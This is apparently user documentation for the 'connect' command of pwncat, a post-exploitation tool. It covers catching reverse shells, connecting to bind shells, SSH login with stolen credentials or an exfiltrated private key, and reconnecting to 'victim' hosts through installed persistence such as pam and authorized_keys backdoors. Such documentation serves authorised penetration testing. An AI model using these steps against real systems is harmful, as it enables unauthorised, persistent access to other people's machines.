Connect
=======

The  ``connect`` command is used to connect to a remote victim. It can be used to catch a reverse shell, open a bind
shell, utilize legitimate SSH credentials, or reconnect via a previous persistence methood to a known host.

This command is also the command which is run if you pass arguments to the external ``pwncat`` script. All arguments
to ``pwncat`` are passed directly to the ``connect`` command at startup. If no connection is made during this command,
``pwncat`` will automatically exit after command completion.

The ``connect`` command is only accessible prior to an active connection. If you attempt to run this command after a
connection has been established, it will not attempt a new connection and will not load your configuration script.
Because the ``pwncat`` prompt is only accessible after a connection, this command is effectively only useful
when used as the arguments to the main ``pwncat`` application or in configuration scripts. Replacing ``connect``
with ``pwncat`` in any examples below will also function the same way at startup.

Catching a Reverse Shell
------------------------

Reverse shell listeners are started with the ``--listen`` parameter. This mode requires the ``--host`` and ``--port``
parameters as well. If ``--host`` is not specified, it is assumed to be ``0.0.0.0`` to bind to all interfaces. To
listen for incoming shell connections on port 4444, you could issue a command like:

.. code-block::

    connect -l -H 0.0.0.0 -p 4444

Connecting to a Bind Shell
--------------------------

Making an outbound connection to a bind shell is accomplished through the ``--connect`` parameter. This mode requires
both the ``--host`` and ``--port`` parameters to be specified.

.. code-block::

    connect -c -H 1.1.1.1 -p 4444

Connecting to an SSH Server
---------------------------

If you have valid credentials to a remote SSH server, but would like to utilize ``pwncat`` to manage your session, you
can use the ``--ssh`` option. This mode requires the ``--host``, ``--user``,  and ``--port`` options. If no port is
specified, it will default to ``22``. Along with these options, you must specify either a ``--password`` or ``--identity``
for the remote password or private key identity file respectively. ``pwncat`` will use Paramiko to connect to the
victim and establish a PTY shell. It will then act normally and provide you access to this shell. All normal ``pwncat``
features are still available over the SSH transport!

.. code-block::
    :caption: Connecting with a known password

    connect -s -H 1.1.1.1 -u root -p "P@ssw0rd"

.. code-block::
    :caption: Connection with a known private key

    connect -s -H 1.1.1.1 -u root -i "./exfiled-privkey"

Listing Known Persistence Methods
---------------------------------

The ``connect`` command has the ability to query the database for all known remote hosts and list installed persistence
methods. It also provides the ability to leverage installed persistence methods to reconnect to a specific host. This
allows you to easily re-establish your session after disconnection if you installed some form of persistence.

In ``pwncat`` hosts are identified by a "host hash". This has is generated by combining some unique data taken from the
remote host the last time a session was established and should be unique across all hosts (unlike IP addresses). The
ideal way to reference a remote host is by it's host hash. With an open session, you can retrieve your host hash with
the ``sysinfo`` command. To retrieve known hosts with persistence methods after disconnection, you can use the
``--list`` option to the ``connect`` command:

.. code-block::
    :caption: Retrieving a list of known hosts

    $ pwncat -C data/pwncatrc --list
    1.1.1.1 - debian - d87b9646813d250ac433decdee70112a
      - pam as system
      - authorized_keys as debian

When reconnecting to a host, you will need either the host hash or the IP address. While the host hash is preferred,
``pwncat`` will lookup a host by IP address in the database. In cases where multiple hosts are NAT'd behind a single
IP address, ``pwncat`` will choose the first host from the database with a matching IP address.

Reconnecting to a Victim
------------------------

Once you have your victim's IP address or host hash, you are ready to reconnect. Reconnecting is simple and automatic in
most cases. The simplest option is to supply the victim IP or host hash to the ``--host`` parameter and specify the
``--reconnect`` option. This will try each persistence method individually until one succeeds in a session:

.. code-block::

    $ pwncat -C data/pwncatrc -r -H d87b9646813d250ac433decdee70112a
    [+] setting terminal prompt
    [+] running in /bin/bash
    [+] terminal state synchronized
    [+] pwncat is ready 🐈

    (remote) debian@debian-s-1vcpu-1gb-nyc1-01:~$

If you have installed multiple persistence methods for multiple users, you can also specify a persistence method or user
to connect with. If only one of ``--method`` or ``--user`` is specified, all methods matching your search will be tried.
For example, specifying only ``method`` will cause ``pwncat`` to attempt each user for which that method is installed.
On the other hand, specifying only ``--user`` will cause ``pwncat`` to attempt connection with every method which
offers persistence as that user. When both are specified, only the exact matching persistence method will be attempted.

Automated Connection w/ Configuration Script
--------------------------------------------

Configuration scripts are expected to be used on an engagement basis. If you have made a connection to victim and have
installed persistence methods, you can add your connect command to your configuration script in order to simply
connection in the future. For example, if you have made a previous connection to the host ``1.1.1.1`` and would like
``pwncat`` to automatically reconnect to that host on startup, you could create a configuration script:

.. code-block:: bash
    :caption: pwncatrc - configuration script

    # Ensure pwncat knows about your database
    set db "sqlite:///engagement.sqlite"

    # Automatically attempt reconnection to your host via authorized_keys
    # as the root user
    connect --reconnnect --host 1.1.1.1 -m authorized_keys -u root

With this script, ``pwncat`` will attempt to connect to the specified host without any other parameters. This simplifies
the ``pwncat`` command if you intend to connect/reconnect multiple times.

.. code-block:: bash
    :caption: Simplified Reconnection w/ Configuration Script

    $ pwncat -C data/pwncatrc
    [+] setting terminal prompt
    [+] running in /usr/bin/bash
    [+] terminal state synchronized
    [+] pwncat is ready 🐈

    (remote) root@pwncat-centos-testing:~#